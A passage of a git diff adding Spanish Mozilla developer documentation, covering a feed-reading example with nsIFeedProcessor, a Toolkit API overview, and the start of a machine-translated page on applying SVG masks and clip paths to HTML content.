+        try {
+          parser.listener = listener;
+          parser.parseFromString(data, uri);
+        }
+        catch(e) {
+          alert("Error al analizar el canal.");
+        }
+      }
+    }
+
+    httpRequest = new XMLHttpRequest();
+
+    httpRequest.open("GET", feedUrl, true);
+    try {
+      httpRequest.onload = infoReceived;
+      httpRequest.send(null);
+    }
+    catch(e) {
+      alert(e);
+    }
+  }
+</pre>
+<p>La interfaz <code><a href="/es/NsIFeedProcessor" title="es/NsIFeedProcessor">nsIFeedProcessor</a></code> te permite analizar los datos del canal desde varias fuentes distintas; en este caso, estamos cargando un documento en una cadena, para seguidamente analizar la cadena usando su método <code>parseFromString()</code>. Sin embargo, también se podría analizar desde un archivo usando <code>parseFromStream()</code>, o directamente desde una URL usando <code>parseAsync()</code>.</p>
+<p>El procesamiento real de análisis del canal se hace por un método llamado <code>handleResult()</code> en el objeto <code>FeedTestResultListener</code>. Ese código es similar a éste:</p>
+<pre>    FeedTestResultListener.prototype = {
+      handleResult: function(result) {
+        var feed = result.doc;
+
+        feed.QueryInterface(Components.interfaces.nsIFeed);
+
+        // Abre una nueva ventana
+
+        var win = window.open("", "FeedTest_Window");
+        var doc = win.document;
+
+        doc.open();
+
+        // Escribe la cabecera HTML y el título de la página
+
+        doc.write("&lt;html&gt;&lt;head&gt;&lt;title&gt;Feed: " + feed.title.text + "&lt;/title&gt;&lt;/head&gt;&lt;body&gt;");
+        doc.write("&lt;h1&gt;" + feed.title.text + "&lt;/h1&gt;&lt;p&gt;");
+
+        var itemArray = feed.items;
+        var numItems = itemArray.length;
+
+        // Write the article information
+
+        if (!numItems) {
+          doc.write("&lt;i&gt;¡Que no haya noticias es buena noticia!&lt;/i&gt;");
+        }
+        else {
+          var i;
+          var theEntry;
+          var theUrl;
+          var info;
+
+          for (i=0; i&lt;numItems; i++) {
+            theEntry = itemArray.queryElementAt(i, Components.interfaces.nsIFeedEntry);
+
+            if (theEntry) {
+              theUrl =
+              doc.write('&lt;b&gt;&lt;a href="' + theEntry.link.resolve("") + '"&gt;' + theEntry.title.text + '&lt;/a&gt;&lt;/b&gt;&lt;br&gt;');
+              if (theEntry.summary) {
+                info = theEntry.summary.text + "&lt;p&gt;&lt;hr&gt;&lt;p&gt;";
+              }
+              else {
+                info = theEntry.content.text + "&lt;p&gt;&lt;hr&gt;&lt;p&gt;";
+              }
+              doc.write("&lt;blockquote&gt;" + info);
+              doc.write("&lt;/blockquote&gt;&lt;p&gt;");
+            }
+          }
+        }
+
+        // Cerramos el documento; ¡hemos acabado!
+
+        doc.write("&lt;/body&gt;&lt;/html&gt;");
+        doc.close();
+      }
+    }
+</pre>
+<p>La función <code>handleResult()</code> recibe como argumento un <code><a href="/es/NsIFeedResult" title="es/NsIFeedResult">nsIFeedResult</a></code> que describe un canal; su propiedad <code>doc</code> es un <code><a href="/es/NsIFeed" title="es/NsIFeed">nsIFeed</a></code> que contiene todos los datos del canal.</p>
+<p>Para obtener el título del canal, se consulta la propiedad <code>feed.title</code>. El título es un <code><a href="/es/NsIFeedTextConstruct" title="es/NsIFeedTextConstruct">nsIFeedTextConstruct</a></code> que puede representar el texto en varios formatos; obtenemos su propiedad <code>text</code> para representar el título del canal como un texto codificado en HTML. Podríamos, alternativamente, usar su método <code>plainText()</code> para obtener una copia del título traducido a texto sin formato.</p>
+<p>Luego examinamos el array (arreglo) de artículos en el canal consultando el <code>feed.items</code> <code><a href="/es/NsIArray" title="es/NsIArray">nsIArray</a></code>. Este array contiene los objetos <code><a href="/es/NsIFeedEntry" title="es/NsIFeedEntry">nsIFeedEntry</a></code> que describen cada artículo del canal.</p>
+<p>Construimos el contenido de los documentos accediendo a las propiedades del título, enlace, resumen y contenido para cada artículo. La URL completa del enlace se recupera usando el método <code>resolve()</code> del enlace.</p>
+<p>Para iniciar la lectura de un canal, simplemente llamamos <code>fetch(<em>url</em>)</code>. Esto abre una nueva ventana con el contenido del canal, pudiendo hacer clic en cada título de las entradas que nos llevarán al artículo en sí.</p>
+<p>Para los detalles de cada uno de las interfaces de acceso al canal, visita sus respectivas páginas de referencia.</p>
diff --git a/files/es/api_del_toolkit/index.html b/files/es/api_del_toolkit/index.html
new file mode 100644
index 0000000000..b639c14d6c
--- /dev/null
+++ b/files/es/api_del_toolkit/index.html
@@ -0,0 +1,34 @@
+---
+title: API del Toolkit
+slug: API_del_Toolkit
+tags:
+  - Toolkit API
+translation_of: Mozilla/Tech/Toolkit_API
+---
+<p>El <b>Mozilla Toolkit</b> es un conjunto de interfaces de programación (APIs) construidas sobre <a href="/es/docs/Gecko">Gecko</a> que proporcionan servicios avanzados a las aplicaciones XUL. Estos servicios incluyen:</p>
+<ul>
+  <li>Administración de perfiles.</li>
+  <li>Registro de chromes.</li>
+  <li>Histórico de navegación.</li>
+  <li>Administración de extensión y temas.</li>
+  <li>Servicio de actualización de aplicación.</li>
+  <li>Modo seguro.</li>
+</ul>
+
+<h3 id="Referencia_oficial" name="Referencia_oficial">Referencia oficial</h3>
+
+<div><p><span class="comment">Official References. Do not add to this list without contacting Benjamin Smedberg. Note that this page is included from the pages listed below. So: Don't Add Breadcrumbs!</span>
+</p>
+<ul><li> <a href="en/Bundles">Structure of an Installable Bundle</a>: describes the common structure of installable bundles, including extensions, themes, and XULRunner applications
+</li><li> <a href="en/Extension_Packaging">Extension Packaging</a>: specific information about how to package extensions
+</li><li> <a href="en/Theme_Packaging">Theme Packaging</a>: specific information about how to package themes
+</li><li> <a href="en/Multiple_Item_Packaging">Multiple-item Extension Packaging</a>: specific information about multiple-item extension XPIs
+</li><li> <a href="en/XUL_Application_Packaging">XUL Application Packaging</a>: specific information about how to package XULRunner applications
+</li><li> <a href="en/Chrome_Registration">Chrome Registration</a>
+</li></ul></div>
+
+<h3 id="M.C3.A1s_informaci.C3.B3n" name="M.C3.A1s_informaci.C3.B3n">Más información</h3>
+
+<p>La siguientes páginas para desarrolladores contienen ejemplos y discusiones sobre temas concretos:</p>
+
+<p><a href="/es/docs/XUL">XUL</a>; <a href="/es/docs/Overlays_XUL">Overlays XUL</a>; <a href="/es/docs/Extensiones">Desarrollar extensiones</a>; <a href="/es/docs/XULRunner">XULRunner</a>; <a href="/es/docs/Temas">Desarrollar temas</a>; <a href="/es/docs/DOM">DOM</a>; <a href="/es/docs/RDF">RDF</a>; <a href="/es/docs/Almacenamiento">Almacenamiento</a>; <a href="/es/docs/Visor_de_ayuda">Crear documentación de ayuda</a></p>
diff --git a/files/es/applying_svg_effects_to_html_content/index.html b/files/es/applying_svg_effects_to_html_content/index.html
new file mode 100644
index 0000000000..b5c8f17b51
--- /dev/null
+++ b/files/es/applying_svg_effects_to_html_content/index.html
@@ -0,0 +1,102 @@
+---
+title: Aplicación de efectos de SVG para el contenido HTML
+slug: Applying_SVG_effects_to_HTML_content
+tags:
+  - CSS
+  - Firefox 3.5
+  - Firefox 4.0
+  - HTML
+  - HTML 5
+  - SVG
+  - XHTML
+---
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Aplicación de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">efectos de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el contenido</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">HTML.</span></span></p>
+<p>{{ gecko_minversion_header("1.9.1") }}</p>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Firefox</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">3.5</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">introduce</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">soporte para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">usar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">como un</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">componente</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">estilos</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">CSS</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">aplicar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">efectos de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el contenido HTML</span><span title="Haz clic para obtener otras posibles traducciones">.</span><br>
+<br>
+<span class="hps" title="Haz clic para obtener otras posibles traducciones">Puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">especificar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">en</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">los estilos</span><span title="Haz clic para obtener otras posibles traducciones">, ya sea dentro</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">del</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">mismo documento</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">o dentro de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">una</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">hoja de estilos externa</span><span title="Haz clic para obtener otras posibles traducciones">.</span></span></p>
+<div class="note"><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Nota</span><span title="Haz clic para obtener otras posibles traducciones">:</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Las referencias</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">a</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">en archivos</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">externos</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">deben</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ser</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de el mismo origen</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">documento</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de origen</span><span title="Haz clic para obtener otras posibles traducciones">.</span></span></div>
+<h2 id="Uso_integrado_SVG"><span class="short_text" id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Uso</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">integrado</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span></span></h2>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Para aplicar un</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">efecto</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">usando</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">estilos</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">CSS</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">primero tiene</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">crear el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">estilo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">CSS</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que hace referencia al</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">aplicar</span><span title="Haz clic para obtener otras posibles traducciones">.</span></span></p>
+<pre class="brush: html">&lt;style&gt;.stylename { mask: url(#localstyle); }&lt;/style&gt;
+</pre>
+<p> <span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">En el ejemplo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">anterior</span><span title="Haz clic para obtener otras posibles traducciones">, el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">nuevo estilo</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps atn" title="Haz clic para obtener otras posibles traducciones">por "</span><span title="Haz clic para obtener otras posibles traducciones">stylename</span><span title="Haz clic para obtener otras posibles traducciones">,</span><span title="Haz clic para obtener otras posibles traducciones">"</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">es</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">una</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">máscara de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que hace referencia</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">a el identificador</span> <span class="hps atn" title="Haz clic para obtener otras posibles traducciones">"</span><span title="Haz clic para obtener otras posibles traducciones">localstyle</span><span title="Haz clic para obtener otras posibles traducciones">"</span><span title="Haz clic para obtener otras posibles traducciones">.</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Una vez que se</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">estableció</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">la máscara</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">aplica</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">a</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">todos los elementos</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">con</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">este</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">estilo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">CSS</span><span title="Haz clic para obtener otras posibles traducciones">.</span><br>
+<br>
+<span class="hps" title="Haz clic para obtener otras posibles traducciones">Esto</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">suena</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">más</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">complicado</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">lo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que realmente</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">es</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">echar un vistazo a</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">los ejemplos</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">tener una</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">buena idea de cómo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">funciona esto</span><span title="Haz clic para obtener otras posibles traducciones">.</span><br>
+<br>
+<span class="hps" title="Haz clic para obtener otras posibles traducciones">Hay</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">tres</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">estilos que se</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">pueden aplicar</span><span title="Haz clic para obtener otras posibles traducciones">:</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">usar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">la máscara</span><span title="Haz clic para obtener otras posibles traducciones">, el recorrido de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">clip</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">o un filtro</span><span title="Haz clic para obtener otras posibles traducciones">.</span></span></p>
+<p> </p>
+<h3 id="Ejemplo_Enmascaramiento_(Máscara)"><span class="short_text" id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Ejemplo</span><span title="Haz clic para obtener otras posibles traducciones">:</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Enmascaramiento (M</span></span><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">áscara)</span></span></h3>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Por</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ejemplo</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">establecer un</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">estilo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">CSS</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">proporciona</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">una</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">máscara de degradado</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para el contenido</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">HTML</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">con</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">código</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">similar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">a</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">lo siguiente en</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">su</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">documento</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">HTML</span><span title="Haz clic para obtener otras posibles traducciones">:</span></span></p>
+<p><strong><span style="color: rgb(255, 0, 0);">NOTA:</span> </strong><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">El espaciamiento de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">nombre no</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">es válida</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">en</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">HTML 5</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">dejar fuera</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de la</span> <span class="hps atn" title="Haz clic para obtener otras posibles traducciones">"</span><span title="Haz clic para obtener otras posibles traducciones">svg</span><span title="Haz clic para obtener otras posibles traducciones">:</span><span title="Haz clic para obtener otras posibles traducciones">"</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">en</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">las etiquetas</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">los documentos</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">en formato HTML</span><span title="Haz clic para obtener otras posibles traducciones">.</span></span></p>
+<pre class="brush: xml">  &lt;style&gt;.target { mask: url(#m1); }&lt;/style&gt;
+  &lt;svg:svg height="0"&gt;
+    &lt;svg:mask id="m1" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"&gt;
+      &lt;svg:linearGradient id="g" gradientUnits="objectBoundingBox" x2="0" y2="1"&gt;
+        &lt;svg:stop stop-color="white" offset="0"/&gt;
+        &lt;svg:stop stop-color="white" stop-opacity="0" offset="1"/&gt;
+      &lt;/svg:linearGradient&gt;
+      &lt;svg:circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/&gt;
+      &lt;svg:rect x="0.5" y="0.2" width="0.5" height="0.8" fill="url(#g)"/&gt;
+    &lt;/svg:mask&gt;
+  &lt;/svg:svg&gt;
+</pre>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Tenga en cuenta</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">en la línea</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">1</span><span title="Haz clic para obtener otras posibles traducciones">, la</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">máscara</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se especifica</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">mediante</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">una dirección URL para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ID</span> <span class="hps atn" title="Haz clic para obtener otras posibles traducciones">"</span><span title="Haz clic para obtener otras posibles traducciones">#</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">M1</span><span title="Haz clic para obtener otras posibles traducciones">"</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que es</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el identificador</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de la</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">máscara de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se especifican a continuación</span><span title="Haz clic para obtener otras posibles traducciones">.</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Todo lo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">demás</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se especifican otros detalles</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">sobre</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">la</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">misma</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">máscara de degradado</span><span title="Haz clic para obtener otras posibles traducciones">.</span></span></p>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">En realidad,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de aplicar el efecto</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">a</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">XHTML</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">o</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">HTML</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se hace</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">simplemente</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">asignar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">estilo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de destino</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">definido</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">anteriormente</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el elemento</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">así</span><span title="Haz clic para obtener otras posibles traducciones">:</span></span></p>
+<pre class="brush: xml">&lt;iframe class="target" src="http://mozilla.org"/&gt;</pre>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">En este ejemplo se</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">incrusta</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">un</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">iframe</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que contiene</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">sitio</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">web de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Mozilla.org</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que se</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">representa</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">con la</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">máscara</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que se le aplica</span><span title="Haz clic para obtener otras posibles traducciones">.</span></span></p>
+<p><a class="internal" href="/@api/deki/files/3213/=maskdemo.xhtml" title="/@api/deki/files/3213/=maskdemo.xhtml">View this example live</a>.</p><h3 id="Ejemplo_Recorte"><span class="short_text" id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Ejemplo</span><span title="Haz clic para obtener otras posibles traducciones">:</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Recorte</span></span></h3>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Este</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ejemplo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">muestra cómo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">utilizar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">SVG</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">para recortar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el contenido</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">HTML</span><span title="Haz clic para obtener otras posibles traducciones">.</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Cuando</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">nos fijamos en</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">la demostración</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">en vivo</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">cuenta</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">incluso en las zonas</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">calientes</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">los enlaces</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">recortan</span><span title="Haz clic para obtener otras posibles traducciones">.</span></span></p>
+<pre class="brush: xml">  &lt;style&gt;.target { clip-path: url(#c1); }&lt;/style&gt;
+  &lt;svg:svg height="0"&gt;
+    &lt;svg:clipPath id="c1" clipPathUnits="objectBoundingBox"&gt;
+      &lt;svg:circle cx="0.25" cy="0.25" r="0.25" id="circle"/&gt;
+      &lt;svg:rect x="0.5" y="0.2" width="0.5" height="0.8"/&gt;
+    &lt;/svg:clipPath&gt;
+  &lt;/svg:svg&gt;
+</pre>
+<p><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">Esto establece</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">un</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">área de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">recorte</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">compuesto por</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">un</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">círculo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">y el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">rectángulo</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">y le asigna</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ID</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">#</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">c1</span> <span class="hps atn" title="Haz clic para obtener otras posibles traducciones">"</span><span title="Haz clic para obtener otras posibles traducciones">.</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Esto</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">entonces se</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">hace referencia</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">en el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">estilo</span><span title="Haz clic para obtener otras posibles traducciones">.</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Una vez que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">estilo</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de destino</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">establece</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">de esta manera</span><span title="Haz clic para obtener otras posibles traducciones">, la</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">ruta</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">del clip</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">se puede</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">asignar</span> <span class="hps" title="Haz clic para obtener otras 